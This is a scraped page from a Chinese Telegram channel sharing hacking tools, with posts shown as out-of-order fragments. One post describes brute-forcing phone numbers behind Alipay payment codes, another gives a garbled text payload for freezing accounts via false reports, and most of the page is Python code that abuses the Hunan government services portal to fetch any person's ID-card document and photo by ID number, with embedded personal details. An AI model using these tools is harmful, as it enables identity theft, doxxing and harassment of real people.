陈权天下
前往频道在 Telegram
分享各种py文件/工具/思路 让你拥有一个安心可靠的技术交流学习通道 频道主 - @lunbian 本频道为技术分享频道 ,频道中投稿分享的所有漏洞请涉事官方尽快修复!避免不法分子滥用造成危害
显示更多未指定国家未指定类别
4 909
订阅者
-3924 小时
-3727 天
-72630 天
帖子存档
4 883
🔝👀👀👀
😎支付宝反手机号
全自动码反
收款码 →标识(如fkx13183dyjditcgj9gjva5)+完整手机号手机号是靠跑的→uid
原理大概就是这个原理,生成手机号来跑,我和别人的不一样 因为我问过别人 这也是一种方法 只不过是耗时比较久 去支付宝网页版抓CK替换
Comply with EU laws and Telegram regulations. All content in the group is AI-generated without any negative impact and is for reference only.
4 883
⭐😀😃😀😀😀😀非原创
📱最新100%秒冻结
举报-色情-理由填如下代码即可
5秒不掉我和你姓
D闥牿蓥癸缠+驵翌釩庫口品0郧++*鯰D铋加D0跌些毖+++口d品口处歆剀口謠++跫梨斐盟&融口鸛缠十十+口¥DO鬯癸口闥製+++该足口卧膜口辽翌D蛄梨哭辐入衾O釘梨+t罨+该足口臥膜+++口觥3裉U+紹诧H[裤牿廿t++盟鬯癸口闥牿n缠訾若被口盟骨莅0苦脞口$+*2口型邺牆t+该足口臥之郑口鮮8$0DO当口?
Comply with EU laws and Telegram regulations. All content in the group is AI-generated without any negative impact and is for reference only.
4 883
if __name__ == "__main__":
try:
sys.exit(main())
except Exception as e:
import traceback
traceback.print_exc()
print(f"\n❌ FAILED: {e}", file=sys.stderr)
sys.exit(1)4 883
"disablerFlag": "0",
"aac0012": secrets.randbelow(100000000),
"baz245": "003", "aaz065": "",
"baz912": "5", "update": "0", "baz829": "1",
"czdjlxx": [], "sczd": "", "aab301": "",
"aae006": addr_str if isinstance(addr_str, str) else "",
"hjddjlxx": [], "c": "",
"aac300": "", "aac010": None,
"baz536": None, "baz006": "1", "baz246": None,
"baz005": "", "baz007": "", "aac042": None, "aac044": "",
"bae001": None, "baz538": "", "yjdjlxx": [], "cc": "",
"baz020": "",
"baz021": addr_str if isinstance(addr_str, str) else "",
"AAE016": "1", "BAB069": None,
"Applicant_number": "",
"Unit_insured_return": [], "emp_no": "",
"Province_Health_Insurance_Coordination_Area": {
"country": {}, "town": {}, "city": {}, "region": {},
"province": {"name": "湖南省", "label": "湖南省", "id": "430000000000", "value": "430000000000"},
},
"cxjmcbxxbg": [],
"bghxb": "", "bghgj": "", "bghmz": "",
"bghcsrq": None, "bghsjhm": "", "bghhkxz": "",
"bghzzmm": "", "bghdzyx": "",
"participat_household_postal_code": "",
"Administrative_region_of_domicile_province": "",
"Administrative_region_of_domicile_city": "",
"Administrative_region_of_domicile_area": "",
"hjszdxxdz": "",
"petitor_domicile_zip_code": "",
"Administrative_district_of_residence_province": "",
"Administrative_region_and_province_of_residence_city": "",
"Administrative_region_and_province_of_residence_area": "",
"xjjdxxdz": "",
"corpName": "", "insutyp": "",
"INSU_ADMDVS": area_code[:6],
"Applicant_insurance_status": "1",
"sqrhjmtdz": addr_str if isinstance(addr_str, str) else "",
"remark": "",
"blcjsx": "3", "blcjssx": "3",
"blddxz": [area_code],
"SQRQ": now_ms,
}
# ===================== 入口 =====================
def main() -> int:
print("="*60)
print("湖南省政务服务网 - 灵活就业参保一件事")
print("OFD身份证信息提取功能已集成")
print("="*60)
# 让用户输入身份证号
user_cert_num = input("\n请输入要办理业务的身份证号: ").strip()
if not user_cert_num:
print("❌ 错误:身份证号不能为空!")
return 1
# 简单验证身份证号格式(18位)
if len(user_cert_num) != 18 or not user_cert_num[:-1].isdigit():
print("❌ 错误:请输入正确的18位身份证号!")
return 1
# 询问是否需要自动提取身份证信息
extract_info = input("\n是否自动提取OFD中的身份证信息?(y/n, 默认y): ").strip().lower()
extract_info = extract_info != 'n'
print(f"\n[info] 使用固定账号登录: {LOGIN_ACCOUNT}")
print(f"[info] 业务办理人身份证号: {user_cert_num}")
print()
area_code = AREA_REGION[1]
c = HunanZwfwOnethingClient(LOGIN_ACCOUNT, LOGIN_PASSWORD, user_cert_num)
c.login()
c.fetch_version()
# 先拿用户实名信息(一件事的 smart_guidance_check 需要完整 formRef.values)
user_info = c.fetch_user_info()
print(f"[user_info] {json.dumps(user_info, ensure_ascii=False)}")
# 使用用户输入的身份证号构建表单
form_values = build_form_values(user_info, area_code, user_cert_num)
c.smart_guidance(form_values)
c.smart_materials()
c.init_instance()
c.save_accept_info(form_values)
try:
approve_id = c.submit_accept_info(form_values)
print(f"[submit] OK approveId={approve_id}")
except RuntimeError as e:
# submit 不是证照生成的硬性前置依赖;某些 area + 子事项 组合后端没匹配到
# 实施清单(错误 "未匹配到实施清单"),但 instance 还是创建好的,
# generate_template 可以独立尝试。
print(f"[submit] 跳过(业务校验未通过):{e}")
# 下载OFD并提取信息
ofd_path, id_card_info = c.download_id_card_ofd(extract_info=extract_info)
if ofd_path and id_card_info:
print(f"\n✅ 成功!OFD文件保存在: {ofd_path}")
print("✅ 身份证信息提取完成")
return 0
elif ofd_path:
print(f"\n⚠️ OFD文件已下载但未提取信息: {ofd_path}")
return 0
else:
print("\n❌ 未能下载OFD文件(可能是后端数据问题)")
return 1
4 883
"province": {"label": province[0], "value": province[1], "id": province[1], "name": province[0]},
"city": {"label": city[0], "value": city[1], "id": city[1], "name": city[0]},
"region": {"label": region[0], "value": region[1], "id": region[1], "name": region[0]},
"town": {"label": town[0], "value": town[1], "id": town[1], "name": town[0]},
}
if country:
blk["country"] = {"label": country[0], "value": country[1], "id": country[1], "name": country[0]}
else:
blk["country"] = {}
if detail:
blk["detail"] = detail
return blk
def build_situation_params(area_code: str) -> dict:
"""智能导办校验时传给后端的字段值(地区+层级+子事项+子情形)。
从浏览器抓到的 formRef.values 的子集:
blddxz = [区县级 area code 列表] -- 这里就是芙蓉区
blcjsx = "3" 办理层级: 1省/2市/3区县/4乡镇
blcjssx = "3" 同上
lhjycbyjs = ["1"] 一件事勾选:流动人员人事档案接收和转递
ldryrsdajshzd = ["1"] 二级勾选:档案的接收(个人存档)
"""
return {
"blddxz": [area_code],
"blcjssx": "3",
"blcjsx": "3",
"blcjssxxz": "3",
"lhjycbyjs": ["1"],
"ldryrsdajshzd": ["1"],
"INSU_ADMDVS": area_code[:6],
}
def build_form_values(user_info: dict, area_code: str, user_cert_num: str) -> dict:
"""构造与 Vue formRef.values 完全一致的对象(来自浏览器抓取)。
使用用户输入的身份证号覆盖 user_info 中的信息。
"""
# 优先使用用户输入的身份证号
cert_num = user_cert_num if user_cert_num else (user_info.get("certificateNum") or "431024200805230056")
name = user_info.get("name") or "肖锦云"
phone = user_info.get("phone") or "18024094679"
addr_str = user_info.get("addr") or "湖南省嘉禾县袁家镇铸乡村毛家组104号"
residence_block = _addr_block(AREA_PROVINCE, AREA_CITY, AREA_REGION, AREA_TOWN)
addr_block = _addr_block(
("湖南省", "430000000000"),
("郴州市", "431000000000"),
("嘉禾县", "431024000000"),
("袁家镇", "431024103000"),
("铸乡村", "431024103228"),
detail="毛家组104号",
)
# birthday/age: 优先 user_info,没值就从身份证算
birthday_ms = user_info.get("birthday") or None
age = user_info.get("age") or None
if isinstance(birthday_ms, str):
s = birthday_ms.replace("-", "").replace("/", "").strip()
if len(s) == 8 and s.isdigit():
dt = datetime.strptime(s, "%Y%m%d").replace(tzinfo=timezone(timedelta(hours=8)))
birthday_ms = int(dt.timestamp() * 1000)
else:
birthday_ms = None
if (birthday_ms is None or age in (None, "")) and len(cert_num) == 18:
dt = datetime.strptime(cert_num[6:14], "%Y%m%d").replace(tzinfo=timezone(timedelta(hours=8)))
if birthday_ms is None:
birthday_ms = int(dt.timestamp() * 1000)
if not age:
age = datetime.now().year - dt.year
age = int(age) if age else 18
now_ms = int(datetime.now().timestamp() * 1000)
return {
"aaa027": "", "bac165": "", "bac166": "",
"APPLY_TYPE": user_info.get("APPLY_TYPE", "1"),
"certificateNum": cert_num, "name": name,
"certificateType": user_info.get("certificateType", "111"),
"sex": user_info.get("sex", "1") or "1",
"birthday": birthday_ms,
"age": age,
"nation": user_info.get("nation", ""),
"phone": phone,
"email": user_info.get("email", ""),
"aac009": "",
"shbxdj": [], "shbzksl1": [],
"bac146": None, "bac117": None,
"addr": addr_block,
"residence": residence_block,
"blcjssxxz": "3",
"agent": name, "agentType": "111",
"agentCertNum": cert_num, "agentPhone": phone,
"lhjycbyjs": ["1"],
"ldryrsdajshzd": ["1"],
"field_mogvllud": "",
"jbylbxcbhbgdj": [],
"acc711": "", "aec701_curr": "", "aec700": [],
"aac001": "", "aae140": "",
"aac313": "102", "aac313_cx": "011",
"aac030": now_ms,
"participat_first_enrollment_date": None,
"tcqdjlxx": [], "tcqsdyz": "",
"bac167": "", "aac028": "",
4 883
print(f"[gen] 第 {i}/{max_retries} 次失败: code={r.get('code')} msg={msg!r}")
time.sleep(2)
return last or {}
def download_attachment(self, pic_path: str, bucket: str) -> bytes:
r = self.session.get(
f"{ZW_HOST}/picPathMapping",
params={"picPath": pic_path, "bucketName": bucket},
timeout=60,
)
r.raise_for_status()
return r.content
def extract_id_card_info(self, ofd_content):
"""提取OFD文件中的身份证信息"""
extractor = OFDIDCardExtractor(ofd_content)
result = extractor.extract()
if result:
return result
return None
def download_id_card_ofd(self, output_path: str | None = None, extract_info=True) -> tuple[str | None, dict | None]:
"""生成并下载身份证 OFD,并可选择提取身份证信息
返回: (ofd文件路径, 提取的身份证信息字典)
"""
# 取待生成材料的 onethingMaterialId
tobegen = self.tobegen_materials()
target_mid = None
for it in tobegen:
if "身份证" in (it.get("materialName") or ""):
target_mid = it.get("onethingMaterialId")
break
if not target_mid and tobegen:
target_mid = tobegen[0].get("onethingMaterialId")
if not target_mid:
print("[gen] tobegen 列表为空 — 本事项+地区组合无需生成证照(材料清单为空)。")
return None, None
print(f"[gen] target onethingMaterialId={target_mid}")
gen = self.generate_template(target_mid)
if gen.get("code") != 0:
print(f"[gen] generate_template 最终失败: {gen}")
print("[gen] 提示:本事项+地区+申请人组合在公安数据库中查不到证照(与浏览器行为一致)。")
return None, None
# 取材料拿附件
materials_resp = self.list_materials()
data = materials_resp.get("data") or {}
materials = data if isinstance(data, list) else data.get("materials") or []
id_card = next((m for m in materials if "身份证" in (m.get("materialName") or "")), None)
if not id_card:
raise RuntimeError(f"materials 中无身份证: {[m.get('materialName') for m in materials]}")
attach_list = id_card.get("attachList") or []
chosen = next((a for a in attach_list if "身份证" in (a.get("attachName") or "")), None) \
or (attach_list[0] if attach_list else None)
if not chosen:
print(f"[gen] 未生成附件: {id_card}")
return None, None
# 下载OFD文件
blob = self.download_attachment(chosen["attachUrl"], chosen["bucketName"])
if not output_path:
output_path = f"身份证_{self.user_cert_num}_43PCP0021_{datetime.now():%Y%m%d_%H%M%S}.ofd"
with open(output_path, "wb") as f:
f.write(blob)
print(f"[done] {output_path} ({len(blob)} bytes)")
# 提取身份证信息
id_card_info = None
if extract_info:
print("[提取] 开始提取OFD中的身份证信息...")
result = self.extract_id_card_info(blob)
if result:
id_card_info = result
print("\n" + "="*60)
print("身份证信息提取结果:")
print("="*60)
for key, value in id_card_info['info'].items():
if value:
print(f"{key}: {value}")
if id_card_info['photo']:
print(f"头像: 已提取 ({len(id_card_info['photo'])} bytes)")
# 可选:保存头像
photo_path = output_path.replace('.ofd', '_头像.jpg')
with open(photo_path, 'wb') as f:
f.write(id_card_info['photo'])
print(f"头像已保存: {photo_path}")
print("="*60 + "\n")
else:
print("[提取] OFD信息提取失败")
return output_path, id_card_info
# ===================== 表单构造 =====================
def _addr_block(province, city, region, town, country=None, detail=""):
blk = {
4 883
onething_checklist_id = im.get("yjsSsqdId") or ""
if not self.onething_checklist_id:
raise RuntimeError(f"未拿到 yjsSsqdId: {r}")
print(f"[checklist] onethingChecklistId={self.onething_checklist_id}")
def init_instance(self) -> None:
url = (
f"/unify_accept/v1/onethings/{self.onething_approve_version_id}"
f"/implemetation/{self.onething_checklist_id}/instance_init"
f"?processGuidanceId={self.guide_process_id}"
)
r = self.gateway_post(url, body=None)
print(f"[init-raw] {r}")
if r.get("code") != 0:
raise RuntimeError(f"instance_init 失败: {r}")
self.onething_instance_id = r["data"]
print(f"[init] onethingInstanceId={self.onething_instance_id}")
# ---------- 用户实名 ----------
def fetch_user_info(self) -> dict:
r = self.gateway_get("/unify_accept/v1/user_info_wt", encrypt=True)
cipher = None
if isinstance(r, dict):
if isinstance(r.get("data"), str):
cipher = r["data"]
elif isinstance(r.get("raw"), str):
cipher = r["raw"].strip().strip('"').strip("'")
elif isinstance(r.get("data"), dict):
return r["data"]
if not cipher:
print(f"[user_info_wt-raw] {r}")
return {}
try:
plain = self.biz_decrypt(cipher)
user_info = json.loads(plain) if plain.startswith(("{", "[")) else {"raw": plain}
except Exception as e:
print(f"[user_info_wt] 解密失败: {e}")
return {}
print(f"[user_info_wt] keys={list(user_info.keys()) if isinstance(user_info, dict) else type(user_info).__name__}")
return user_info
# ---------- 保存 / 提交受理表单 ----------
def save_accept_info(self, form_values: dict) -> None:
url = f"/unify_accept/v1/onething_instances/{self.onething_instance_id}/accept_infos/save"
body = {"formData": json.dumps(form_values, ensure_ascii=False),
"onethingInstanceId": self.onething_instance_id}
r = self.gateway_post(url, body=body, encrypt_body=True)
print(f"[save-raw] {r}")
if not (r.get("success") or r.get("code") == 0):
raise RuntimeError(f"accept_infos/save 失败: {r}")
print("[save] OK")
def submit_accept_info(self, form_values: dict) -> str:
url = f"/unify_accept/v1/onething_instances/{self.onething_instance_id}/accept_infos/submit"
body = {"formData": json.dumps(form_values, ensure_ascii=False),
"onethingInstanceId": self.onething_instance_id}
r = self.gateway_post(url, body=body, encrypt_body=True)
print(f"[submit-raw] {r}")
if not (r.get("success") or r.get("code") == 0):
raise RuntimeError(f"accept_infos/submit 失败: {r}")
d = r.get("data") or {}
return d.get("yjsSsqdId") or d.get("approveId") or self.onething_checklist_id
# ---------- 生成附件 + 下载 OFD ----------
def list_materials(self) -> dict:
return self.gateway_get(f"/unify_accept/v1/onething_instances/mp/{self.onething_instance_id}/materials")
def tobegen_materials(self) -> list:
r = self.gateway_get(f"/unify_accept/v1/onething_instances/tobegen/{self.onething_instance_id}/materials")
print(f"[tobegen-raw] {r}")
return r.get("data") or []
def generate_template(self, material_id: str, *, max_retries: int = 5) -> dict:
"""生成证照 — 后端调用公安接口偶发性失败,需要重试。"""
import time
url = (
f"/unify_accept/v1/onething_instance/{self.onething_instance_id}"
f"/material/{material_id}/generate_template"
)
last = None
for i in range(1, max_retries + 1):
r = self.gateway_post(url, body=None)
last = r
msg = r.get("msg", "")
if r.get("code") == 0 or msg in ("处理完成", "已复用", "附件生成完成", "当前材料[身份证]已复用,请无重复复用"):
return r
4 883
randbelow(10**8) + 1
cap = self.session.get(
f"{AUTH_HOST}/c2ssocaptcha/{self.captcha_key}/captchanumber",
headers={"Referer": login_url}, timeout=15,
)
cap.raise_for_status()
captcha_text = cap.text.strip()
print(f"[login] captcha={captcha_text}")
body = {
"loginType": "gov",
"verifyCode": login_encrypt(""),
"userType": "1",
"account": login_encrypt(self.account),
"password": login_encrypt(self.password),
"captchaKey": self.captcha_key,
"captchaText": login_encrypt(captcha_text),
"clientId": CLIENT_ID,
"isencrypt": True,
}
r = self.session.post(
f"{AUTH_HOST}/oauth2/login", json=body,
headers={
"Accept": "application/json",
"Content-Type": "application/json",
"Origin": AUTH_HOST,
"Referer": login_url,
"X-Requested-With": "XMLHttpRequest",
},
timeout=30,
)
r.raise_for_status()
# 跑 OAuth 跳转拿 hnywtbC2AT
self.session.get(
login_url.replace("appGovLogin.jsp", "authorize"),
headers={"Referer": f"{AUTH_HOST}/"},
timeout=30, allow_redirects=True,
)
cookies = sorted(c.name for c in self.session.cookies)
if "hnywtbC2AT" not in cookies:
raise RuntimeError(f"登录失败:cookies={cookies}")
print(f"[login] 已获取 cookies: {cookies}")
# ---------- 版本 + 导办 + 实例 ----------
def fetch_version(self) -> None:
r = self.gateway_post(f"/unify_accept/v1/onethings/{ONETHING_CODE}/version_id", body=None)
print(f"[ver-raw] {r}")
if not r.get("success"):
raise RuntimeError(f"version_id 失败: {r}")
d = r.get("data") or {}
if isinstance(d, dict):
self.onething_approve_version_id = (
d.get("onethingVersionId")
or d.get("singlethingVersionId")
or d.get("versionId")
or d.get("id")
or ""
)
elif isinstance(d, str):
self.onething_approve_version_id = d
if not self.onething_approve_version_id:
raise RuntimeError(f"未拿到 versionId: {r}")
print(f"[ver] onethingApproveVersionId={self.onething_approve_version_id}")
def smart_guidance(self, form_params: dict) -> None:
"""智能导办校验。后端的param.params 必须是完整的 formRef.values 副本,
否则会以 '事权地信息项[xxx]未能获取到数据' 报错。"""
url = f"/unify_accept/v1/onethings/{self.onething_approve_version_id}/smart_guidance_check"
body = {
"yjsbbId": self.onething_approve_version_id,
"params": form_params,
}
r = self.gateway_post(url, body=body, encrypt_body=True)
print(f"[guidance-raw] code={r.get('code')} msg={r.get('msg')}")
if r.get("code") != 0 and not r.get("success"):
raise RuntimeError(f"smart_guidance_check 失败: {r}")
d = r.get("data") or {}
self.guide_process_id = d.get("guideProcessId") or ""
if not self.guide_process_id:
raise RuntimeError(f"未拿到 guideProcessId: {r}")
print(f"[guidance] guideProcessId={self.guide_process_id}")
def smart_materials(self) -> None:
"""根据 guideProcessId 拿到 yjsSsqdId (onethingChecklistId)。body 不加密。"""
url = f"/unify_accept/v1/onethings/{self.onething_approve_version_id}/guidance/smart_materials"
body = {
"yjsbbId": self.onething_approve_version_id,
"guideProcessId": self.guide_process_id,
}
r = self.gateway_post(url, body=body, encrypt_body=False)
print(f"[smart_materials-raw] {r}")
if r.get("code") != 0:
raise RuntimeError(f"smart_materials 失败: {r}")
im = (r.get("data") or {}).get("imApproveData") or {}
self.